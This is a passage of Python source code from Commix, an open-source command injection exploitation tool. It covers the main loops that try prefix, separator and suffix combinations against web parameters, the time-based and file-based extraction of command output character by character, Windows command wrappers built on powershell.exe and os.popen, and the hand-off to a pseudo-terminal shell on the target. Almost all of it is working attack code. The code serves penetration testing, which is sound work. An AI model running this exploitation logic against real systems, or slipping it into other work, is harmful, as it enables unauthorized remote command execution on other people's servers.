cmd = "echo $((" + str(randv1) + " %2B " + str(randv2) + "))"
# Set the original delay time
original_exec_time = exec_time
# Check for false positive resutls
if technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
exec_time, output = injector.false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, alter_shell, exec_time, url_time_response, false_positive_warning, technique)
else:
exec_time, output = injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, exec_time, url_time_response, false_positive_warning, technique)
if checks.time_relative_shell(url_time_response, exec_time, timesec):
if str(output) == str(randvcalc) and len(TAG) == output_length:
possibly_vulnerable = True
exec_time_statistic = 0
if settings.VERBOSITY_LEVEL == 0:
percent = settings.info_msg
else:
percent = ""
#break
else:
break
# False positive
else:
if settings.VERBOSITY_LEVEL == 0:
percent = ".. (" + str(float_percent) + "%)"
checks.injection_process(injection_type, technique, percent)
continue
else:
if settings.VERBOSITY_LEVEL == 0:
percent = ".. (" + str(float_percent) + "%)"
checks.injection_process(injection_type, technique, percent)
continue
except (KeyboardInterrupt, SystemExit):
if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED and 'cmd' in locals():
delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique)
raise
except EOFError:
checks.EOFError_err_msg()
if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED and 'cmd' in locals():
delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique)
raise
except:
percent = ((num_of_chars * 100) / total)
float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2))
if str(float_percent) == "100.0":
if no_result == True:
if settings.VERBOSITY_LEVEL == 0:
percent = settings.FAIL_STATUS
checks.injection_process(injection_type, technique, percent)
else:
percent = ""
else:
percent = ".. (" + str(float_percent) + "%)"
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
else:
percent = ".. (" + str(float_percent) + "%)"
break
# Yaw, got shellz!
# Do some magic tricks!
if checks.time_relative_shell(url_time_response, exec_time, timesec):
if (len(TAG) == output_length) and (possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == settings.INJECTION_LEVEL):
found = True
no_result = False
# Export session
if not settings.LOAD_SESSION:
shell = ""
checks.identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, export_injection_info, vp_flag, counter)
session_handler.import_injection_points(url, technique, injection_type, filename, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, original_exec_time, output_length, is_vulnerable=settings.INJECTION_LEVEL)
else:
whitespace = settings.WHITESPACES[0]
if technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
OUTPUT_TEXTFILE = ""
# Check for any enumeration options.
enumeration.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique)
# Check for any system file access options.
file_access.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique)
# Check if defined single cmd.
if menu.options.os_cmd:
cmd = menu.options.os_cmd
enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique)
# Export injection result
if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED and len(output) > 1:
delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique)
# Pseudo-Terminal shell
if pseudo_terminal_shell(injector, separator, maxlen, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, no_result, timesec, payload, OUTPUT_TEXTFILE, url_time_response) == None:
continue
else:
return
return exit_handler(no_result)
"""
The main results based exploitation proccess.
"""
def do_results_based_proccess(url, timesec, filename, http_request_method, injection_type, technique):
shell = False
counter = 1
vp_flag = True
exit_loops = False
no_result = True
is_encoded = False
stop_injection = False
call_tmp_based = False
next_attack_vector = False
export_injection_info = False
timesec = checks.time_relative_timesec(timesec)
if technique == settings.INJECTION_TECHNIQUE.CLASSIC:
try:
import html
unescape = html.unescape
except: # Python 2
unescape = _html_parser.HTMLParser().unescape
from src.core.injections.results_based.techniques.classic import cb_injector as injector
from src.core.injections.results_based.techniques.classic import cb_payloads as payloads
elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE:
from src.core.injections.results_based.techniques.eval_based import eb_injector as injector
from src.core.injections.results_based.techniques.eval_based import eb_payloads as payloads
else:
from src.core.injections.semiblind.techniques.file_based import fb_injector as injector
from src.core.injections.semiblind.techniques.file_based import fb_payloads as payloads
# Calculate all possible combinations
if technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE:
for item in range(0, len(settings.EXECUTION_FUNCTIONS)):
settings.EXECUTION_FUNCTIONS[item] = "${" + settings.EXECUTION_FUNCTIONS[item] + "("
settings.EVAL_PREFIXES = settings.EVAL_PREFIXES + settings.EXECUTION_FUNCTIONS
prefixes = settings.EVAL_PREFIXES
suffixes = settings.EVAL_SUFFIXES
separators = settings.EVAL_SEPARATORS
else:
prefixes = settings.PREFIXES
suffixes = settings.SUFFIXES
separators = settings.SEPARATORS
if not settings.LOAD_SESSION:
checks.testing_technique_title(injection_type, technique)
if technique == settings.INJECTION_TECHNIQUE.FILE_BASED:
url_time_response = 0
tmp_path = checks.check_tmp_path(url, timesec, filename, http_request_method, url_time_response)
TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6))
i = 0
total = len(settings.WHITESPACES) * len(prefixes) * len(suffixes) * len(separators)
for whitespace in settings.WHITESPACES:
for prefix in prefixes:
for suffix in suffixes:
for separator in separators:
if whitespace == settings.SINGLE_WHITESPACE:
whitespace = _urllib.parse.quote(whitespace)
# Check injection state
settings.DETECTION_PHASE = True
settings.EXPLOITATION_PHASE = False
# If a previous session is available.
if settings.LOAD_SESSION and session_handler.export_injection_points(url, technique, injection_type, http_request_method):
try:
url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable = session_handler.export_injection_points(url, technique, injection_type, http_request_method)
if technique == settings.INJECTION_TECHNIQUE.FILE_BASED:
settings.FILE_BASED_STATE = True
checks.check_for_stored_tamper(payload)
OUTPUT_TEXTFILE = TAG + settings.OUTPUT_FILE_EXT
if re.findall(settings.DIRECTORY_REGEX,payload):
filepath = re.findall(settings.DIRECTORY_REGEX,payload)[0]
settings.WEB_ROOT = os.path.dirname(filepath)
settings.CUSTOM_WEB_ROOT = True
tmp_path = checks.check_tmp_path(url, timesec, filename, http_request_method, url_time_response)
elif technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED:
tfb_handler.exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response)
else:
if technique == settings.INJECTION_TECHNIQUE.CLASSIC:
settings.CLASSIC_STATE = True
elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE:
settings.EVAL_BASED_STATE = True
checks.check_for_stored_tamper(payload)
except TypeError:
checks.error_loading_session_file()
if not settings.LOAD_SESSION:
i = i + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
if technique == settings.INJECTION_TECHNIQUE.FILE_BASED:
# The output file for file-based injection technique.
OUTPUT_TEXTFILE = TAG + settings.OUTPUT_FILE_EXT
else:
randv1 = random.randrange(100)
randv2 = random.randrange(100)
randvcalc = randv1 + randv2
# Define alter shell
alter_shell = menu.options.alter_shell
try:
# File-based decision payload (check if host is vulnerable).
if alter_shell:
if technique == settings.INJECTION_TECHNIQUE.FILE_BASED:
payload = payloads.decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE)
else:
payload = payloads.decision_alter_shell(separator, TAG, randv1, randv2)
else:
if technique == settings.INJECTION_TECHNIQUE.FILE_BASED:
payload = payloads.decision(separator, TAG, OUTPUT_TEXTFILE)
else:
# Classic decision payload (check if host is vulnerable).
payload = payloads.decision(separator, TAG, randv1, randv2)
vuln_parameter = ""
response, vuln_parameter, payload, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url)
if technique != settings.INJECTION_TECHNIQUE.FILE_BASED:
# Try target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate test results.
time.sleep(timesec)
shell = injector.injection_test_results(response, TAG, randvcalc, technique)
if settings.VERBOSITY_LEVEL == 0:
percent, float_percent = checks.percentage_calculation(i, total)
percent = checks.print_percentage(float_percent, no_result, shell)
checks.injection_process(injection_type, technique, percent)
else:
try:
time.sleep(timesec)
output = injector.injection_output(url, OUTPUT_TEXTFILE, timesec, technique)
response = checks.get_response(output)
if type(response) is bool:
html_data = ""
else:
html_data = checks.page_encoding(response, action="decode")
shell = re.findall(r"" + TAG + "", str(html_data))
if len(shell) == 0 :
raise _urllib.error.HTTPError(url, int(settings.NOT_FOUND_ERROR), 'Error', {}, None)
else:
if shell[0] == TAG and not settings.VERBOSITY_LEVEL != 0:
percent = settings.info_msg
checks.injection_process(injection_type, technique, percent)
except _urllib.error.HTTPError as e:
if str(e.getcode()) == settings.NOT_FOUND_ERROR:
percent, float_percent = checks.percentage_calculation(i, total)
if call_tmp_based == True:
exit_loops = True
tmp_path = os.path.split(menu.options.file_dest)[0] + "/"
tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response)
raise
# Show an error message, after N failed tries.
# Use the "/tmp/" directory for tempfile-based technique.
elif (i == int(menu.options.failed_tries) and no_result == True) or (i == total):
if i == total:
if checks.finalize(exit_loops, no_result, float_percent, injection_type, technique, shell):
continue
else:
raise
checks.use_temp_folder(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response)
else:
if checks.finalize(exit_loops, no_result, float_percent, injection_type, technique, shell):
continue
else:
raise
elif str(e.getcode()) == settings.UNAUTHORIZED_ERROR:
err_msg = "Authorization is required to access this page: '" + settings.DEFINED_WEBROOT + "'."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
checks.quit(filename, url, _ = False)
elif str(e.getcode()) == settings.FORBIDDEN_ERROR:
err_msg = "You don't have access to this page: '" + settings.DEFINED_WEBROOT + "'."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
checks.quit(filename, url, _ = False)
except (KeyboardInterrupt, SystemExit):
if technique == settings.INJECTION_TECHNIQUE.FILE_BASED:
# Delete previous shell (text) files (output)
if 'vuln_parameter' in locals():
# settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique)
raise
else:
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
raise
except _urllib.error.URLError as e:
if technique == settings.INJECTION_TECHNIQUE.FILE_BASED:
warn_msg = "It seems that you don't have permissions to "
warn_msg += "read and/or write files in directory '" + settings.WEB_ROOT + "'."
settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_warning_msg(warn_msg))
err_msg = str(e).replace(": "," (") + ")."
if settings.VERBOSITY_LEVEL >= 2:
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
# Provide custom server's root directory.
if not menu.options.web_root:
checks.custom_web_root(url, timesec, filename, http_request_method, url_time_response)
continue
except EOFError:
checks.EOFError_err_msg()
raise
except:
if technique == settings.INJECTION_TECHNIQUE.FILE_BASED:
raise
else:
continue
# Yaw, got shellz!
# Do some magic tricks!
if shell:
found = True
no_result = False
# Export session
if not settings.LOAD_SESSION:
checks.identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, export_injection_info, vp_flag, counter)
session_handler.import_injection_points(url, technique, injection_type, filename, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, exec_time=0, output_length=0, is_vulnerable=settings.INJECTION_LEVEL)
else:
whitespace = settings.WHITESPACES[0]
cmd = maxlen = ""
if technique != settings.INJECTION_TECHNIQUE.FILE_BASED:
OUTPUT_TEXTFILE = url_time_response = ""
# Check for any enumeration options.
enumeration.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique)
# Check for any system file access options.
file_access.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique)
# Check if defined single cmd.
if menu.options.os_cmd:
enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique)
# Pseudo-Terminal shell
if pseudo_terminal_shell(injector, separator, maxlen, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, no_result, timesec, payload, OUTPUT_TEXTFILE, url_time_response) == None:
continue
else:
return
return exit_handler(no_result) commix-4.0/src/core/injections/controller/injector.py 0000775 0000000 0000000 00000054574 14731205621 0023132 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import re
import os
import sys
import time
import json
import string
import random
from src.utils import menu
from src.utils import settings
from src.core.requests import proxy
from src.core.requests import headers
from src.core.requests import requests
from src.core.requests import parameters
from src.utils import common
from src.core.injections.controller import checks
from src.thirdparty.six.moves import urllib as _urllib
from src.thirdparty.six.moves import input as _input
from src.thirdparty.six.moves import html_parser as _html_parser
from src.thirdparty.colorama import Fore, Back, Style, init
"""
The main time-realative command injection exploitation.
"""
def time_relative_injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique):
if technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
from src.core.injections.blind.techniques.time_based import tb_payloads as payloads
else:
from src.core.injections.semiblind.techniques.tempfile_based import tfb_payloads as payloads
if settings.TARGET_OS == settings.OS.WINDOWS:
previous_cmd = cmd
if alter_shell:
if technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; print len(os.popen('cmd /c " + cmd + "').read().strip())\""
else:
cmd = checks.quoted_cmd(cmd)
else:
if technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim().length"
else:
cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim()"
if menu.options.file_write or menu.options.file_upload:
minlen = 0
else:
minlen = 1
found_chars = False
info_msg = "Retrieving the length of execution output"
if settings.TEMPFILE_BASED_STATE:
info_msg += " (via '" + OUTPUT_TEXTFILE +"')"
info_msg += "."
settings.print_data_to_stdout(settings.print_info_msg(info_msg))
for output_length in range(int(minlen), int(maxlen)):
if alter_shell:
if technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
payload = payloads.cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_request_method)
else:
payload = payloads.cmd_execution_alter_shell(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method)
else:
if technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
payload = payloads.cmd_execution(separator, cmd, output_length, timesec, http_request_method)
else:
payload = payloads.cmd_execution(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method)
exec_time, vuln_parameter, payload, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url)
injection_check = False
if (exec_time >= settings.FOUND_EXEC_TIME and exec_time - timesec >= settings.FOUND_DIFF):
injection_check = True
if injection_check == True:
if output_length > 1:
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Retrieved the length of execution output: " + str(output_length)
settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg))
else:
sub_content = "Retrieved: " + str(output_length)
settings.print_data_to_stdout(settings.print_sub_content(sub_content))
found_chars = True
injection_check = False
break
# Proceed with the next (injection) step!
if found_chars == True :
if settings.TARGET_OS == settings.OS.WINDOWS:
cmd = previous_cmd
num_of_chars = output_length + 1
check_start = 0
check_end = 0
check_start = time.time()
output = []
percent = "0.0%"
if technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
info_msg = "Presuming the execution output."
else:
info_msg = "Retrieving the execution output (via '" + OUTPUT_TEXTFILE + "')."
if settings.VERBOSITY_LEVEL == 0 :
info_msg += ".. (" + str(percent) + ")"
else:
info_msg += "\n"
if output_length > 1:
settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg))
for num_of_chars in range(1, int(num_of_chars)):
char_pool = checks.generate_char_pool(num_of_chars)
for ascii_char in char_pool:
if alter_shell:
if technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
payload = payloads.get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method)
else:
payload = payloads.get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method)
else:
if technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
payload = payloads.get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method)
else:
payload = payloads.get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method)
exec_time, vuln_parameter, payload, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url)
injection_check = False
if (exec_time >= settings.FOUND_EXEC_TIME and exec_time - timesec >= settings.FOUND_DIFF):
injection_check = True
if injection_check == True:
if settings.VERBOSITY_LEVEL == 0:
output.append(chr(ascii_char))
percent, float_percent = checks.percentage_calculation(num_of_chars, output_length)
if percent == 100:
float_percent = settings.info_msg
else:
float_percent = ".. (" + str(float_percent) + "%)"
if technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
info_msg = "Presuming the execution output."
else:
info_msg = "Retrieving the execution output (via '" + OUTPUT_TEXTFILE + "')."
info_msg += float_percent
settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg))
else:
output.append(chr(ascii_char))
injection_check = False
break
check_end = time.time()
check_exec_time = int(check_end - check_start)
output = "".join(str(p) for p in output)
# Check for empty output.
if output == (len(output) * settings.SINGLE_WHITESPACE):
output = ""
else:
check_start = 0
check_exec_time = 0
output = ""
return check_exec_time, output
"""
The main results-based command injection exploitation.
"""
def results_based_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique):
def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique):
if technique == settings.INJECTION_TECHNIQUE.CLASSIC or technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
from src.core.injections.results_based.techniques.classic import cb_payloads as payloads
elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE:
from src.core.injections.results_based.techniques.eval_based import eb_payloads as payloads
else:
from src.core.injections.semiblind.techniques.file_based import fb_payloads as payloads
if alter_shell:
if technique != settings.INJECTION_TECHNIQUE.FILE_BASED and technique != settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED:
payload = payloads.cmd_execution_alter_shell(separator, TAG, cmd)
else:
payload = payloads.cmd_execution_alter_shell(separator, cmd, OUTPUT_TEXTFILE)
else:
if technique != settings.INJECTION_TECHNIQUE.FILE_BASED and technique != settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED:
payload = payloads.cmd_execution(separator, TAG, cmd)
else:
payload = payloads.cmd_execution(separator, cmd, OUTPUT_TEXTFILE)
if settings.VERBOSITY_LEVEL != 0:
_ = cmd
if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED:
payload_msg = payload.replace("\n", "\\n")
if settings.COMMENT in payload_msg:
payload = payload.split(settings.COMMENT)[0].strip()
payload_msg = payload_msg.split(settings.COMMENT)[0].strip()
if settings.COMMENT in cmd:
_ = cmd.split(settings.COMMENT)[0].strip()
debug_msg = "Executing the '" + _ + "' command. "
settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
response, vuln_parameter, payload, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url)
return response
response = check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique)
if technique == settings.INJECTION_TECHNIQUE.CLASSIC or technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE:
tries = 0
while not response:
if tries < (menu.options.failed_tries / 2):
response = check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique)
tries = tries + 1
else:
err_msg = "Something went wrong, the request has failed (" + str(tries) + ") times continuously."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
return response
"""
False-positive check and evaluation.
"""
def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, exec_time, url_time_response, false_positive_warning, technique):
if technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
from src.core.injections.blind.techniques.time_based import tb_payloads as payloads
else:
from src.core.injections.semiblind.techniques.tempfile_based import tfb_payloads as payloads
if settings.TARGET_OS == settings.OS.WINDOWS:
previous_cmd = cmd
if alter_shell:
if technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; print len(os.popen('cmd /c " + cmd + "').read().strip())\""
else:
cmd = checks.quoted_cmd(cmd)
else:
if technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim().length"
else:
cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim()"
found_chars = False
checks.check_for_false_positive_result(false_positive_warning)
# Varying the sleep time.
if false_positive_warning:
timesec = timesec + random.randint(3, 5)
# Checking the output length of the used payload.
if settings.VERBOSITY_LEVEL == 0:
settings.print_data_to_stdout(".")
for output_length in range(1, 3):
if settings.VERBOSITY_LEVEL == 0:
settings.print_data_to_stdout(".")
# Execute shell commands on vulnerable host.
if alter_shell :
if technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
payload = payloads.cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_request_method)
else:
payload = payloads.cmd_execution_alter_shell(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method)
else:
if technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
payload = payloads.cmd_execution(separator, cmd, output_length, timesec, http_request_method)
else:
payload = payloads.cmd_execution(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method)
exec_time, vuln_parameter, payload, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url)
if (exec_time >= settings.FOUND_EXEC_TIME) and (exec_time - timesec >= settings.FOUND_DIFF):
found_chars = True
break
if found_chars == True :
if settings.TARGET_OS == settings.OS.WINDOWS:
cmd = previous_cmd
num_of_chars = output_length + 1
check_start = 0
check_end = 0
check_start = time.time()
output = []
percent = 0
is_valid = False
for num_of_chars in range(1, int(num_of_chars)):
for ascii_char in range(1, 20):
if settings.VERBOSITY_LEVEL == 0:
settings.print_data_to_stdout(".")
if alter_shell:
if technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
payload = payloads.fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method)
else:
payload = payloads.fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method)
else:
if technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
payload = payloads.fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method)
else:
payload = payloads.fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_method)
exec_time, vuln_parameter, payload, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url)
if (exec_time >= settings.FOUND_EXEC_TIME) and (exec_time - timesec >= settings.FOUND_DIFF):
output.append(ascii_char)
is_valid = True
break
if is_valid:
break
check_end = time.time()
check_exec_time = int(check_end - check_start)
output = "".join(str(p) for p in output)
if str(output) == str(randvcalc):
if settings.VERBOSITY_LEVEL == 0:
settings.print_data_to_stdout(" (done)")
return exec_time, output
else:
checks.unexploitable_point()
"""
Find the URL directory.
"""
def injection_output(url, OUTPUT_TEXTFILE, timesec, technique):
def custom_web_root(url, OUTPUT_TEXTFILE):
path = _urllib.parse.urlparse(url).path
if path.endswith('/'):
# Contract again the url.
scheme = _urllib.parse.urlparse(url).scheme
netloc = _urllib.parse.urlparse(url).netloc
output = scheme + "://" + netloc + path + OUTPUT_TEXTFILE
else:
try:
path_parts = [non_empty for non_empty in path.split('/') if non_empty]
count = 0
for part in path_parts:
count = count + 1
count = count - 1
last_param = path_parts[count]
output = url.replace(last_param, OUTPUT_TEXTFILE)
if "?" and settings.OUTPUT_FILE_EXT in output:
try:
output = output.split("?")[0]
except:
pass
except IndexError:
output = url + "/" + OUTPUT_TEXTFILE
settings.DEFINED_WEBROOT = output
return output
if not settings.DEFINED_WEBROOT or settings.MULTI_TARGETS:
if menu.options.web_root:
scheme = _urllib.parse.urlparse(url).scheme
hostname = _urllib.parse.urlparse(url).hostname
netloc = _urllib.parse.urlparse(url).netloc
output = scheme + "://" + netloc + "/" + OUTPUT_TEXTFILE
if not settings.DEFINED_WEBROOT or (settings.MULTI_TARGETS and not settings.RECHECK_FILE_FOR_EXTRACTION):
if settings.MULTI_TARGETS:
settings.RECHECK_FILE_FOR_EXTRACTION = True
while True:
message = "Do you want to use URL '" + output
message += "' for command execution output? [Y/n] > "
procced_option = common.read_input(message, default="Y", check_batch=True)
if procced_option in settings.CHOICE_YES:
settings.DEFINED_WEBROOT = output
break
elif procced_option in settings.CHOICE_NO:
message = "Enter URL to use "
message += "for command execution output > "
message = common.read_input(message, default=output, check_batch=True)
if not re.search(r'^(?:http)s?://', message, re.I):
common.invalid_option(message)
pass
else:
output = settings.DEFINED_WEBROOT = message
info_msg = "Using '" + output
info_msg += "' for command execution output."
settings.print_data_to_stdout(settings.print_info_msg(info_msg))
if not settings.DEFINED_WEBROOT:
pass
else:
break
elif procced_option in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(procced_option)
pass
else:
output = custom_web_root(url, OUTPUT_TEXTFILE)
else:
output = settings.DEFINED_WEBROOT
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Checking if the file '" + output + "' is accessible."
settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
return output
"""
Evaluate test results.
"""
def injection_test_results(response, TAG, randvcalc, technique):
if type(response) is bool and response != True or response is None:
return False
if technique == settings.INJECTION_TECHNIQUE.CLASSIC:
try:
import html
unescape = html.unescape
except: # Python 2
unescape = _html_parser.HTMLParser().unescape
# Check the execution results
html_data = checks.page_encoding(response, action="decode")
html_data = html_data.replace("\n",settings.SINGLE_WHITESPACE)
# cleanup string / unescape html to string
html_data = _urllib.parse.unquote(html_data)
html_data = unescape(html_data)
# Replace non-ASCII characters with a single space
re.sub(r"[^\x00-\x7f]",r" ", html_data)
if settings.SKIP_CALC:
shell = re.findall(r"" + TAG + TAG + TAG, html_data)
else:
shell = re.findall(r"" + TAG + str(randvcalc) + TAG + TAG, html_data)
if len(shell) > 1:
shell = shell[0]
else:
html_data = checks.page_encoding(response, action="decode")
html_data = re.sub("\n", settings.SINGLE_WHITESPACE, html_data)
if settings.SKIP_CALC:
shell = re.findall(r"" + TAG + settings.SINGLE_WHITESPACE + TAG + settings.SINGLE_WHITESPACE + TAG + settings.SINGLE_WHITESPACE , html_data)
else:
shell = re.findall(r"" + TAG + settings.SINGLE_WHITESPACE + str(randvcalc) + settings.SINGLE_WHITESPACE + TAG + settings.SINGLE_WHITESPACE + TAG + settings.SINGLE_WHITESPACE , html_data)
return shell
"""
Command execution results.
"""
def injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec):
if technique == settings.INJECTION_TECHNIQUE.CLASSIC or technique == settings.INJECTION_TECHNIQUE.TIME_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED:
try:
import html
unescape = html.unescape
except: # Python 2
unescape = _html_parser.HTMLParser().unescape
false_result = False
try:
# Grab execution results
html_data = checks.page_encoding(response, action="decode")
html_data = html_data.replace("\n",settings.SINGLE_WHITESPACE)
# cleanup string / unescape html to string
html_data = _urllib.parse.unquote(html_data)
html_data = unescape(html_data)
# Replace non-ASCII characters with a single space
re.sub(r"[^\x00-\x7f]",r" ", html_data)
for end_line in settings.END_LINES_LIST:
if end_line in html_data:
